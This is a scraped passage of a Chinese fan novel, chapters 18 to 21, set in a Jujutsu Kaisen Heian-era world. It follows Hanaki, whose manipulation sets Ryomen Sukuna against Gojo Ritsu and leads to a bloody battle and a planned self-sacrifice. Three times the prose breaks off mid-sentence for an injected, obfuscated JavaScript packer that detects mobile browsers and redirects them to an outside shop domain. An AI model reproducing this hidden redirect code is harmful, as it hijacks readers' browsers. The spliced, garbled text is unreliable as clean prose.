口口声声说爱他,结果什么都不告诉他,这就是花纪爱人的方式吗? 但追问也没用,因为花纪不想告诉他的,就是不会告诉他。 两面宿傩越想越气,干脆埋头卖力工作。既然花纪不打算坦白,那么那张欠亲的嘴就只需要发出呻|吟声就够了。 18.第 18 章 冬日的雪已经停了。 大地一片素白,唯有庭院的梅花绽放身姿,即使是被雪压着枝头,依旧不改傲然之姿。 但随着身着红梅白底和服美人的出现,真正的红梅黯然失色,雪地中唯一的亮色似乎只剩下这道身影。 两面宿傩紧随其后,随口道:“这梅花开得不错。”视线却一直落在花纪身上。 原本该是风姿凛然的红梅,可绣有梅花纹样的和服穿到了花纪身上,却显得秾丽鲜妍,彻底沦为他的陪衬。 “还好吧。” 花纪既没有驻足欣赏梅花,也没有凝视素白的大地,只是抬头望向广袤的苍穹。 “你想要去天上玩一玩?”两面宿傩揣测道,身上穿着改良过的女式和服,双手抱胸,语气随意:“那我捉来几只会飞的咒灵,带你去感受一下天空的滋味。” “我对这种事没兴趣。” 说话间,花纪依旧在看着遥不可及的碧空。 从两面宿傩的视角来看,黑发美人线条精致的侧脸无论什么角度都完美无瑕,令他百看不厌。 然而不知怎的,两面宿傩无端地感到了不快。 或许是因为花纪的视野里没有他的存在,花纪没有在看他。 但两面宿傩还是勉强耐着性子询问:“那你对什么感兴趣?” 怕说得不够明确,也希望花纪能给个明确的回复,免得他猜来猜去,两面宿傩又问道:“你想要什么?” 花纪终于不再抬头,而是将紫眸转向两面宿傩的方向,投射的目光充满柔情。 “我想要六眼。” 花纪直白的回答令两面宿傩嘴角一压,他回味一遍后,又露出危险的笑容,“我说过了吧,你只能想要我的眼睛。” 虽然两面宿傩在笑,但不可能有人见了他的脸不会感到害怕,更不会相信他是因为正面的情感而笑。 “还是说你变心的那么快,现在就要反悔了?” 花纪像是察觉不到两面宿傩的情绪,用亲昵的语气回答:“六眼很像现在的天空,不是吗?所以啊,我想把天空握在手中,拿到六眼也算是满足我的愿望了。” 因为六眼的颜色像极了苍穹,所以就要得到六眼,这种奇怪的逻辑,就算是两面宿傩一时都无法理解。 “就因为这个?” 花纪想了想,补充道:“六眼很有用吧,我要欣赏完六眼后,把它安到我的眼眶里,让它成为我的眼睛。” 似乎是想象到了那副画面,花纪抬起指尖,摩挲自己的眼尾,有些愉悦地笑着,美艳的脸庞显得有些危险,“虽然会有点难受,但我会忍耐的,毕竟我一直都很擅长忍耐。” 六眼是五条家的特异体质,但几乎没有人想过要把六眼抢来安到自己身上。一方面是由于六眼持有者实力强大,难以杀死,另一方面则是这种想法本身就极为罕见。 “六眼不如你的眼睛美丽。” 两面宿傩眉头紧皱,出言打断了花纪。 虽然六眼是五条家重视不已的珍稀眼睛,同时代不可能找出第二双。但在两面宿傩眼中,就算是六眼,也不能与花纪那双瑰丽柔情的眼眸媲美。 “至于六眼的作用,你不用战斗,我会保护好你,你不需要六眼。” 两面宿傩没有从移植六眼的可行性上否决花纪,而是从根本的地方断然否定。 “宿傩这么喜欢我的眼睛,我好开心。” 花纪满足而喟叹道,为恋人对自己的赞美而衷心高兴。 两面宿傩盯着黑发美人一脸幸福的表情,原本拧紧的眉心稍稍一松,但好转的心情没有持续多久,就因为花纪的下一句话而急转直下。 “宿傩想要保护我,可我也想保护宿傩啊,要是有了六眼,我不就可以更强一点了吗?” 虽然花纪的想法很贴心,但比起这个,两面宿傩更无法容忍其他男人的眼睛竟然能与自己的恋人紧密相贴,血肉相存。 “不行。” 两面宿傩咬牙切齿,当初他就该早点杀了五条律,把六眼挖出来一脚踩碎,不然也不会有今天。 他一直想杀了五条律,奈何五条律滑不溜秋,像泥鳅一样难抓,导致他迟迟没能成功。 “花纪,我不会帮你得到六眼。” 没有他的帮忙,花纪上哪儿去打败六眼? ……不对,六眼那小子说不定会白送! 两面宿傩不信五条律能摆脱花纪的魅惑,当初对方那副愣神的模样,明显也和他一样陷入了爱情的泥沼。 可恶,绝对不能再让五条律见到花纪! 两面宿傩觉得这样还不够安心,为了避免夜长梦多,他现在就要杀了五条律! 至于当初和平安京那帮人定下的协议?反正那帮人没胆子和他下束缚,没有束缚的制约,还不是随便他毁约。 两面宿傩阴晴不定的表情倒映在花纪的视网膜上,凌厉英武的面容每一处细微的变化都被他捕捉,花纪觉得自己做得不错,既说出了实话,没有欺骗恋人,还达到了预期的效果。 两面宿傩要和五条律战斗,五条律可能会死?这又不能怪他,五条律是自愿的。 美人只配强者拥有,这不是再正常不过的道理吗? 他的恋人会赢,因为赢的人会是他的恋人。 花纪折下枝头的梅花,梅花的香气被他身上的香味盖过,淡不可闻。 红梅静静地待在那只宛若艺术品的掌心上,花纪垂眸看了一眼,用洁净物品的术式去除梅花的污秽后,拈起红梅,漫不经心地含入口中,轻抿唇瓣。 梅花的味道没好到哪里去,花纪只是想碾碎一些东西而已,但眼前只有梅花可以替代。 两面宿傩又一次被他气走了,不然看到他这么做,绝对会上前阻止。 虽然两面宿傩自己喜欢吃些乱七八糟的东西,却莫名其妙不喜欢他这么做,花纪一度为此不解。 不过既然是恋人的习惯,至少当着恋人的面,他总会包容一下的。至于恋人不在,那就是另一码事了,反正对方不会知道,这样一来也就不会生气,他真贴心。 [不再多做一点吗?]系统问道,[多准备一些总归没错,我可不认为只凭那些家伙能拦住两面宿傩。] 虽然不喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640167|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两面宿傩,但祂对于两面宿傩的实力认知却很客观。 [虽然你不能像梦魔一样自由进入他人梦境,但对于一些特定的人,哪怕没有见过面,也可以进入他们的梦境,借此召集战力。] [我是可以这么做。]花纪承认道,话锋一转,[可这样一来,就达不到我想要的效果了。] 一朵朵梅花被摘下,经过洁净后被黑发美人的贝齿咬碎。 摘下,碾碎,摘下,碾碎…… 如果梅花可以拥有人类的感情,想必会雀跃地主动跳进他的口中吧。 祂注视着这一幕,又给出了更精确的描述。 ……不,如果王后成长到了足以羽化的地步,哪怕是并非人类的大地都可以魅惑,更何况区区的梅花呢? 现在的王后是还需要精心呵护的种子,等待完全绽放花朵的那一天,而那些爱上王后的人类,只不过是迟早会在土地腐烂的养分。 那些让王后伤心流泪的人类,更该落得挫骨扬灰的下场。 祂只要想到王后美丽眼眸中垂落的泪水,比世间的一切珍珠还要珍贵,祂的心就止不住抽痛,对人类的厌恶就愈发强烈,对所罗门的不作为就更加痛恨。 都怪所罗门,如果不是这家伙…… [我爱宿傩,无论说多少遍都是真的。] 花纪的话让祂从刚刚的情绪中抽离,拉回到了现在。 [如果可以,我也不想我们之间闹得那么不愉快。] 花纪终于放过这一枝凄惨的梅树枝桠,上面的梅花已经所剩无几。 [但我也有想要的事物,至少被束缚自由这一点,我绝对无法退让。] 两面宿傩过于强烈的占有欲,已经为花纪带来了困扰。 [……呵,如果真的爱我,就应该给我想要的东西吧?] 想要自由过分吗? 就连六眼,两面宿傩都不愿意给他。 [……所以,向我证明吧,宿傩,证明真的爱我。] 证明所谓的人类之爱。 无论是什么,他都会心怀爱意的接纳。 * 从前,有一朵只能开放在庭院的花。 花扎根于土壤之中,无法任由自己的心意移动,前往外面的世界。 因为它是脆弱的,去往外面就会面临枯萎死亡的结局。 于是花的主人温柔又耐心的重复:“好孩子,在这里你会很安全,没有人会伤害你,你会健康成长,安心吧。” 为了防止花太过寂寞,主人又为它找来了鸟儿陪伴。 然而花依旧向往它未曾见过的世界。 直到有一天,既是主人,又是父亲的存在去世了。 花终于来到了外面。 ——至于花的结局又如何呢? 这点在最开始就清楚了,花对此也心知肚明。 但没关系,他想到。 就算是死亡也没关系,他想离开束缚他的庭院,用自己的眼睛见证只能从书中与父亲的口述所想象的世界。 但是啊,被刻意豢养的孩子又怎能猜到未曾了解过的事物呢? 19.第 19 章 平安京在这一天感受到了诅咒之王的愤怒。 除了当事人以外,没人清楚诅咒之王为何撕毁协议,袭击御三家的家主。 但面临诅咒之王的失控,平安京高高在上的大人物们即使畏惧不已,也不得不为了自身的安全有所行动。 诅咒之王无缘无故袭击五条家家主,这件事不容小觑。五条家是菅原道真的后代,虽然建立的时间不过数十年,可特有的六眼体质与无下限术式,让其成为如今咒术世家新兴的御三家之一。 而当今五条家家主五条律,不仅持有六眼,还拥有无下限术式,可谓当今咒术界的佼佼者之一。 然而,就算是这样的五条家家主,面对诅咒之王两面宿傩,依旧落于下风。 虽然御三家各自心怀鬼胎,加茂和禅院巴不得五条律死于诅咒之王之手,五条家从此一蹶不振。可如果让诅咒之王大闹平安京,不仅有损咒术高层的颜面,更会引得天皇问责。 要知道之前两面宿傩行事张扬,不仅肆意妄为,更将贵族视如草芥,像对待平民般任意宰割、掠夺财宝,已经惹得许多人不满。他们自诩出身高贵,岂能容忍两面宿傩的轻视?只有他们压榨平民的份,结果有一天竟然有诅咒师跑到他们头上作威作福。 也因此在五条家家主的牵头下,众人一呼即应,立刻展开了对两面宿傩的暗杀,可后来失败不说,还成就了他诅咒之王的名声。 天皇更是因此惴惴不安,对他们大加斥责,又将两面宿傩视作神明来祭祀。 现在要是重演当初诅咒之王无人可敌的局面,天皇恐怕会质疑他们的能力,怀疑有何必要供养他们。 要知道阴阳师和咒术师之间的竞争向来激烈,除此之外,还有僧侣巫女之流的存在,失去了天皇的信任,等同于失去了未来的前途,这对于咒术师们而言是万万不可的。 也因此,咒术高层一咬牙,总算是有了团结一致的氛围,心照不宣地支援五条家家主,抵挡诅咒之王在平安京的肆意妄为。 在这一天,贵族们没有了出去拜访赏玩的兴致,瑟瑟发抖地躲在家里。平民们也闭门不出,生怕在街上突然被杀。 浓郁的血腥味弥漫在富丽堂皇的贵族居所内,随风四散到其他区域。无论身处何地,建筑都有可能遭到意外的攻击而支离破碎。 哀嚎和尖叫不绝于耳,今日的平安京没有丝竹之音,乐器被丢到一边无人问津,贵人们已经没有赏乐的兴致。 还在抵抗的咒术师落于下风,阴阳师等存在也不能坐视平安京被毁,随即前往支援。平安京的安全出了岔子,他们最后谁也免不了责任。 阻挡诅咒之王的众人惊恐之中也掺杂着愤怒。他们已经一让再让,不仅赔款求和、供奉诅咒之王,还定下协议,结果诅咒之王直接撕毁了协议。 这么一来,绥靖政策不仅没有效果,更保证不了他们的安全。无路可退的情况下,他们也下定决心不惜一切代价围杀诅咒之王。 黑发美人站在平安京的边界地区,远远望着今日的平安京。 虽是第二次到访平安京,但花纪的心境已截然不同,不由得由衷感叹。 “今天的平安京意外的美呢。” 在黑发美人的眼中,远方传来的是香甜的气息,隐约的声音是奏响的乐声,比过去死气沉沉的画面鲜活了太多,就像即将腐烂的果树竟然也能结出果实。 一旁没有眼睛,拥有虫子般细长的身躯,头部有一张占据几乎所有面积的巨大嘴巴的咒灵,见花纪的注意力被其他事物吸引,不满地扭动身躯,想要弄出动静重新吸引花纪的目光。 “好孩子,我没有忘记你哦。” 花纪摸了摸咒灵的头,这咒灵看着像虫子,皮肤的质感更接近鱼鳞。细看之下,那些鳞片时不时鼓动,露出藏在下面的牙齿和舌头。 这是一只几乎全身都有着嘴巴的咒灵,虽然它是因对饥饿的恐惧而诞生的咒灵,身躯细长干瘪,可这遍布的嘴巴,却充斥着进食的欲望。 “多亏了你帮我解决了那麻烦的结界,还找到那么多帮手。” 花纪不吝惜夸赞,哄的手下的咒灵欢快地扭动身躯,像一只因为愉快而打滚的猫。 跟在花纪身后的,是好几只散发着危险气息的特级咒灵,还有单凭肉眼一时都无法数清的特级以下的咒灵。 如果是平时,早就有咒术师前来清除咒灵了。可现在比起咒灵,更危险的是诅咒之王,就连对于咒灵的警戒力度都已经下降到前所未有的最低值。 “你要赢啊,宿傩。” 花纪望向远方,对不在视野内的恋人露出充满柔情的笑容,尽管无人能窥见这副美景。 “我还在等你呢。” 黑发美人如同一位等待丈夫凯旋的妻子,满心期待对方的到来。 哪怕造就这局面的其中一个因素就是他。 * 敌人实在太多了。 两面宿傩早就记不得解决了多少人,他面前能看到的,只有那个实力还算过得去的小白脸。 似是看出两面宿傩心中所想,五条律笑眯眯道。 “就算你看我不爽,但我的脸确实比你更讨人喜欢,用小白脸来蔑称我也没用。” 两面宿傩嘁了一声,做出备战的姿态,扭了扭脖子,又活动了下手腕,发出了关节的弹响声。 由于战斗,加上衣服会影响活动,两面宿傩在一开始就把身上的衣服撕碎扔到了一边,露出布满黑色咒纹的精壮上半身。 两面宿傩一脸不屑,用嘲讽的语气吐出充满恶意的尖锐词句:“是吗?可他更喜欢我的咒纹,常常用柔软的舌尖描绘它们的轮廓呢。” 五条律俊美的脸庞面色一沉,阴云密布,苍穹般纯净的六眼布满杀意,两面宿傩的挑衅正中他的痛点。 除了在梦中,五条律能得到花纪的亲吻,现实中却连心上人的脚尖都碰不到。 两面宿傩咧开嘴角大笑,猩红的眼中是满溢的愉快,肆无忌惮的笑声回荡在静谧的空间。周围除了他们两人以外的人,都已经成为尸体。 “一个失败者还敢在我面前炫耀,不过跳梁小丑罢了。” 两面宿傩向来擅长嘲讽人,如今眉眼都写满了不屑。看得五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646189|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条律攥紧了拳头,恨不得把面前一脸炫耀的敌人剥皮抽骨。 “如果不是你强迫他,剥夺他的自由,你以为他会选择你吗?”五条律挡下两面宿傩刁钻的攻击,战斗之余不忘反击。 “那也轮不到你。” 两面宿傩冷笑,抬手便是数道斩击,为这片土地再增新的伤疤。 “我比你强,而他只喜欢实力强大的人。” 两面宿傩一字一句道:“他根本就不爱你。”赤红的眼瞳里深沉的恶意,比诅咒还要更像咒灵,无愧于诅咒之王的身份。 两面宿傩肌肉块垒分明的身躯,如同坚不可摧的城墙,哪怕五条律对他的身体造成了伤害,他在下一瞬便用反转术式修复,伤口消失不见。 “我要挖出你的眼睛。”两面宿傩宣告道,顺便一脚碾碎地面的石头,“它们的结局会和这块石头一样。” 五条律倏地哈哈大笑,英俊的面孔像是挣脱了无形的束缚,尽显癫狂不羁,“那你不怕他生气吗?” 这下轮到两面宿傩眉心压低,一脸不悦了。 “他喜欢我的眼睛,你才迫不及待地要来杀我吧。” 五条律摸了摸自己的眼睛,喃喃道:“只要他想要,我当然愿意把这双眼睛送给他。” 只要他能一直看着他就够了,哪怕得到的只有一丁点的爱意,五条律也如同沙漠的旅人渴求水源般渴望。 “诅咒之王,你毁了这双眼睛,又要怎么向他交代呢?” 五条律一语中的:“他会厌恶你,哪怕其实他并没有那么想要这双眼睛,但他讨厌违背他意愿的人,而你就是这种人。” 而五条律的做法则与两面宿傩相反,不计一切代价的服从花纪的意愿。 就算成为花纪的掌中傀儡,五条律也心甘情愿。因为连接他们的丝线,是信徒对神明深沉而纯挚的爱意。 两面宿傩一改之前的不快,反而居高临下地俯视五条律,用怜悯包裹恶意,高高在上道:“你以为你好到哪里去吗?我说过了,你比我弱。” 而花纪喜欢更强的那个人,这点毋庸置疑。 “退一万步来说,就算你拥有了和我同等的实力,能够独占他,你也不过是下一个我,根本不可能不效仿我,禁锢他的自由。” 两面宿傩揭开了那块遮羞布,挑明了他和五条律彼此心知肚明的答案。 “你只是没有足够的实力来像我一样这么做,因为你做不到,才不得不成为一个提线木偶,祈求他的垂怜。一旦你能够独占他,才不会让他自由的接触外人,因为爱的丑陋之处,就意味着贪婪。” 贪恋爱人的爱,想要爱人只能看到自己。哪怕只有一点,也不舍得爱人的注意力被其他事物分散。 五条律的嘴角彻底被抹平了,面无表情地注视着两面宿傩,如同一座定格的雕像。 “你倒是清楚。” 更贴切的说,是两面宿傩太过了解同为竞争者的心思,他们如同照镜子般,能清晰地看到对方丑陋的一面。 五条律平静地宣布:“那你也该知道,就算是死,我也要完成他的心愿。” 20.第 20 章 那道浑身浴血、宛若鬼神的身影再次出现在面前时,花纪微微垂下长长的睫羽,语气不知是高兴还是遗憾,“你果然还是来找我了,宿傩。” “你一定会出现在这里,你怎么可能错过如今平安京的景色。”两面宿傩讥笑道。 对于平安京的大致布局,两面宿傩了然于心。经过多轮战斗后,更是推测出花纪可能的位置,一番寻找下来,终于找到了花纪本人。 果然,花纪待在一个相对偏僻安全,又能纵观全局的位置。 “你想要离开我,又不打算逃得越远越好,是以为我会心软吗?” 花纪避而不答,而是问道:“五条律怎么样了?” 空气有一刹那的寂静,最先打破无声局面的是两面宿傩。 “他死了。” 两面宿傩如同观察羔羊一举一动的狼,眼珠紧盯花纪不放,用几乎能割伤人的恶意语气说道:“那张脸不能看了,眼睛也被我毁了——那家伙已经死了。” 黑发美人依旧保持着明艳动人的笑容,两面宿傩的话似乎没有对他造成什么影响。 “是吗?那他应该实现自己的心愿了。” 花纪那不变的笑容,看上去竟像是衷心祝贺五条律实现愿望。 似乎是察觉到两面宿傩没有说出口的疑惑,花纪好心解释,声音柔软而亲昵,仿佛他们不是发生冲突即将分手的敌对两人,而是彼此深爱着的恋人。 “你看,律想要投入一场陶醉的爱情,不用顾及家族的束缚,不必在意身份的枷锁,尽情地打破这一切,为所爱之人献上全部,做真正的自己。如今他死了,这一切也实现了。” 两面宿傩难得沉默,端详着花纪愈发真切的微笑,更加深刻地意识到自己究竟爱上了一个什么样的怪物。 哪怕是咒灵也不会这么扭曲,它们的恶意总是明晃晃地摆在台面上,如同夜晚的灯火一样明亮。 咒灵更做不到在亮出恶意的同时,依旧能让人心甘情愿地跳入甜蜜之海,面带微笑、感受不到痛苦地溺死在里面。 半晌,两面宿傩用低沉的嗓音问道:“里梅告诉我,之前结界出过一次问题,但没找到侵入的咒灵。那次开始,你就计划着怎么逃出结界了吧。” 花纪颔首,大方承认:“遇到了一个可爱的孩子,它可以吞食结界。我又分给它一点我的血,让它用这些血再找新的小伙伴。” 两面宿傩声音陡然一沉:“你把自己的血给了那些咒灵?” 他以为禁锢花纪的自由,用结界防止香气外泄就能阻挡那些咒灵,可没想到花纪还能利用血肉俘获咒灵。 两面宿傩攥紧拳头,怒极反笑:“看来你瞒了我不少东西。” 花纪是如何与五条律搭上线的?仅凭一次见面可不足以让五条律甘心赴死,肯定还有他背后不知道的事情存在。 黑发美人疑惑地歪了歪头,不解地说道:“宿傩,你也没问过我吧?” 好一个没问过,花纪把他当成了什么? 两面宿傩凝视着那道纤弱柔美的身影,他曾无数次抱住对方,深知那腰肢的触感多么细腻,抱在怀中的感觉何等美好,那衣服下是只有他才能窥见的美景。 然而现在这一切,都要被打碎了。 花纪打算离开他。 “做好觉悟了吧?花纪。” 两面宿傩深吸口气,因为澎湃的怒意而额头青筋暴起,面容扭曲,本来就异于常人的面孔,如今与恶鬼无异。 “我不会放过你的,除非死,你别想摆脱我。” 花纪竟敢这么愚弄他。 “宿傩,你该明白,我们之间的矛盾只要你有心就能解除,这样我们就能幸福的生活下去了。” 花纪神色落寞而悲伤,“我那么喜欢你,你却不肯为我做到这一步……你只是把我当成了你的私有物,一件不舍得拿给别人看、让别人碰的物件罢了。” 两面宿傩眉峰紧锁,只觉得自己的脸被花纪的话狠狠扇了两巴掌,从未受过如此奇耻大辱。 “你就是这么看我的?” 他两面宿傩,这辈子都没受过这种侮辱。他明明从来没有如此对待过一个人……可花纪竟然否决了这一切。 ……那张美艳至极的脸,还露出这么不适合对方的哀伤之色。 他早就觉得,花纪无论如何也不适合露出这种表情,哪怕无损美丽,也不应该这样。 两面宿傩心里转了半天,都说不出“丑极了”这种刻薄歪曲的话,更别说挂在嘴边了。 花纪反问:“那你爱我吗?你喜欢我吗?宿傩。” 仔细想来,他们两人的相处,常常是花纪从不吝惜表露“喜欢”和“爱”这样的字眼,而两面宿傩却甚少说出。 两面宿傩嘴唇翕动,无论如何都说不出那些表达心意的话。 花纪背叛了他,让他变成无法一个人自由自在生活、不牵挂一个人就无法活下去的模样,用裹着蜜糖的毒药诱惑他走向灭亡。 高傲的自尊心不允许两面宿傩低头。 “……算了,我早就知道了。” 花纪垂眸,失去了一贯的笑容,面无表情的脸如同褪去了伪装,露出些许的内里,美丽却难以接近。 “在这里等你的我,大概很愚蠢吧。” 正如两面宿傩所说,花纪有机会走得越远越好,却还是留在了平安京。 花纪确实想看到因为激战而落入恐慌的平安京,蔓延的恐惧的气味如同安神香一样令人安心,要是错过了未免可惜。 但花纪同样是想看看两面宿傩要不要来找他,结果是预料之中,那他也该继续推进下一步了。 “……就算你说这些话,我也不会心慈手软。” 两面宿傩吐出一口浊气,“但只要现在你乖乖跟我走,我可以不杀你。” 花纪目不转睛地盯了好一会两面宿傩,花瓣般娇美的唇瓣缓缓道:“我拒绝。” 清晰的字句比晚钟的声音还要清亮,无误地撞入两面宿傩耳中。 “既然我们彼此无法达成理解,那就战斗吧。” 花纪不管两面宿傩微变的脸色,在黄昏的日光下,紫宝石般的眸子显得朦胧不清,蒙着一层梦幻的光辉,艳美的五官温柔缱绻。无论怎么看,都难以与战斗联系在一起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650950|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “既然你要杀了我,再吃掉我,那就按照你的心愿来吧。” 似乎是觉得有趣,花纪弯起唇角,“虽然我没那么擅长战斗,但也不想束手就擒……呵呵,来杀我吧,宿傩。” 两面宿傩说不清这一刻他究竟从花纪的脸上看到了什么。是因为囚禁自己的人会被刺伤而兴奋,能够欣赏人性的挣扎而愉悦……又或者是说不清道不明的、对被杀的厌恶呢? 两面宿傩没来由地出离了愤怒。 他真的以为他会杀他不成? “既然你想自寻死路,我也没必要手下留情。” 两面宿傩眼中毫无笑意,阴翳的脸笼罩着浓郁的杀意,猩红的眼珠似乎浸透了血腥气,喉咙被饥渴折磨,催促他饮下温热的血液,嚼碎香甜的骨肉。 他连花纪的一滴血都没喝过,哪怕在床上折腾得再激烈,都用前所未有的耐力忍住膨胀的食欲,生怕开了头就被食欲与爱意支配,把花纪吃得一点不剩。就连接吻时都克制着力道,轻易咬断人类骨头的牙齿摩挲那细腻的肌肤时,都不敢打破分寸,他两面宿傩何曾这么隐忍过、如此珍惜一个人? 可花纪是怎么回报他的?竟然把血肉分给了那些低贱的咒灵。 他要把那些吃了花纪血肉的咒灵全都宰了。 花纪用怜爱的眸光看向周围警戒的咒灵们,“那就辛苦大家保护我了。” 从来没有咒术师能操纵这般数量的咒灵。 乌发雪肤的美人如同指挥蜂群的蜂后,身上没有沾染丁点尘土,被咒灵大军紧紧保护在最后方。 花纪如同悍不畏死的蜂群核心,哪怕两面宿傩无法确定,花纪要是就此死亡,那些咒灵会不会摆脱控制——虽然就个人推测而言,两面宿傩更倾向于否定答案。 那些咒灵已经永远不会拥有自由了。身为亲身经历者,两面宿傩再明白不过。就算花纪死亡,穿透它们心灵的爱之箭矢也不会拔除。 血肉横飞的场景在这一天内不知道重现了多少次,区别只是由咒术师换成了咒灵。但咒灵的恢复能力更强,哪怕碎了一地,再也无法拼凑回原来的躯体,那些横飞到各处的破碎血肉,仍旧颤颤巍巍、以一种缓慢到毫无用处的速度移动。 忠心耿耿、悍不畏死,两面宿傩以前可从来没想到,这些正面的词汇居然也能用在咒灵身上。 这些咒灵完美的保留了原本的理智,不需要花纪分神,也能自主遵从花纪的命令。就算死亡逼近眼前,疼痛折磨身体,也要拼尽全力战斗。 [他竟然不先来杀我。]花纪对系统说道。 明明最先解决他,就算无法影响咒灵对他的忠心,也能起到扰乱军心的作用。然而两面宿傩对此无动于衷,不管不顾、手段蛮横地一心先对咒灵下手,完全忽略了他。 是该说两面宿傩对自身实力有足够的自信,想要给他多留些时间折磨他呢,还是说两面宿傩对他的杀意,依旧没能超过那不知分量的爱意呢? 系统保持沉默。反正王后并不是真想得到一个答案,只是找祂随口闲聊,祂只需要扮演一个忠实的倾听者角色就够了,祂可不想给情敌添砖加瓦。 21.第 21 章 咒灵污秽而丑陋的肢体如同倾盆暴雨洒落一地,畸形扭曲的器官和肢体仿佛飘落到地面的花瓣,散得到处都是。两面宿傩彻底化身为无人能敌的鬼神,屠戮着目力所及的咒灵。 局势对花纪越来越不利,身为坐镇后方的蜂后,所掌控的蜂群愈来愈少。胜利的天平倒向两面宿傩,但花纪不仅不慌,如雪的脸颊反而泛起红潮,仿佛醉酒似的双眸迷离,瑰丽的脸庞如今更是充满颓艳的诱惑,让观者不由自主地将自身的欲望倾注在他身上。 “好强……” 在那双美丽的眸子中沸腾的澎湃爱意,令黑发美人仿佛成了流淌爱意的蜜罐。甜香的气息让这里仿佛不是你死我活的杀戮战场,而是求偶者们展现自身资本的竞技场,为的只是求得他的欢心。 等价交换。 在两面宿傩脑中闪过、能够形容这场面的,只有这个词汇。 欲望如潮水般向花纪倾泻,而花纪给出的回报,则是源源不断的爱意。 清除了最后一只咒灵,两面宿傩浑身浴血,向着花纪问道。 “……你不怕死吗?” 花纪轻笑着回答:“我当然害怕啊,被杀可是很痛的。” “如果你向我求饶,我可以不杀你。” 花纪慢条斯理道:“你打算出尔反尔吗?” 两面宿傩:“……” “出尔反尔可不是个好习惯,宿傩。” 两面宿傩被戳中了心事,心烦意乱地压低眉心。再这样下去,他总会被花纪气死。 明明他给过这么多机会,花纪却毫不领情……莫非真要寻死不成? 一方面声称不想死,另一方面拒绝他,难道他是可以随意戏耍的存在吗? 从头到尾,除了指挥过咒灵的行动,花纪都没有亲身施展过任何攻击。 到现在,两面宿傩仍旧不敢大意。他领教过花纪的恐怖,只要黑发紫眸的美人愿意,就能让一个心智正常的人成为提线木偶。 “我讨厌被人束缚,也考虑过要不要杀你。” 虽然说着杀人的话题,还是当着两面宿傩本人的面,花纪的声音依旧柔和缠绵,仿佛和过去一样,在对着情人耳语。 不顾两面宿傩瞬间变得有些恐怖的脸色,花纪语调不变,“但我也是真的喜欢你,喜欢你的强大、勇武……还有那些其他人虽然畏惧,却令我喜爱不已的地方。” 两面宿傩告诫自己不要动摇,不能相信花纪的话。如果花纪说的是真的,那他们为什么还会闹到现在的局面? 只是失去自由而已,除了这点,他还有什么不能满足花纪的? 花纪只是在利用他,爱的只是他的强大,而不是他。换成其他人,如果拥有更强大的实力,那他就会被当成垃圾一样抛弃。 就像这一地的咒灵,就像第一次见面时的那些咒术师,他们的共同点,就是失败者和弱者。 这个恶劣的怪物,只是从他人的悲剧中品尝到甜蜜和愉悦罢了。 “所以后来我放弃杀你了。” 虽然花纪说得轻松,但两面宿傩无法确定花纪做出这个决定的过程到底持续了多久,究竟经过怎样的心理斗争。两面宿傩更不确定的,是花纪有没有在骗他。 或许花纪总是在骗他。 哪怕得到想要的答案,两面宿傩也无法再取回当初的信任感了。 “但我也不想和你一起回去了。我讨厌被束缚,或许是笼子里的鸟儿一旦见过外面的天空,就再也无法满足窄小的笼子,要我继续待在里面,我宁愿去死。” 如同射出的箭矢,空气中有什么事物改变了。 两面宿傩猛地一惊,在明白这让灵魂战栗的感觉之前,他的身体就展开了行动。但比这行动更快的,是花纪动听又残忍的话语。 “不许动——” 那双两面宿傩熟悉无比的紫色眼眸,如今已经变成了另一幅景色——精致的眉眼虽未改变,眸色却变为了如彩虹般绚丽的色彩,美艳逼人的同时,平添了非人的气质。 等两面宿傩想要闭上眼睛不去看时,已经来不及了。 就算知道对视是花纪发动能力的条件,然而两面宿傩大脑先一步接收到了指令,完全无法抗拒。 “很方便的魔眼吧?虽然六眼很不错,但我更喜欢自己的眼睛。” 花纪摸了摸微挑的眼尾,眉眼弯弯,心情不错地与两面宿傩搭话。 因为指令是不许动,两面宿傩连开口说话都做不了。 “被喜欢的人杀死太残忍了,我会在今天死去,不需要宿傩你来动手。” 两面宿傩想质问花纪是疯了吗?偏偏他现在根本发不出声音,只能像是热锅上的蚂蚁,焦躁不已地试图挣脱控制。 “我死亡后是不会留下尸体的,但在消失之前,宿傩你来吃掉吧。你不是一直想吃吗?到时候就不用跟我客气了。” 他想要的才不是这种东西! 两面宿傩简直要疯了。别人都觉得他是怪物,连他自己都一度这么认为。但他现在觉得自己和那些人都错了,错得离谱——他好歹还有正常人的逻辑和思维! “都说相爱的人要永不分离,这样一来也算是达成了吧?虽然能生活在爱人的身体里,似乎更符合大家的追求呢。” 吃掉对方又或者两个人用一具躯体,都不是正常人能想出来的事吧? 两面宿傩已经顾不得深思花纪究竟对他抱有怎样的感情了,他现在只想拦住花纪。 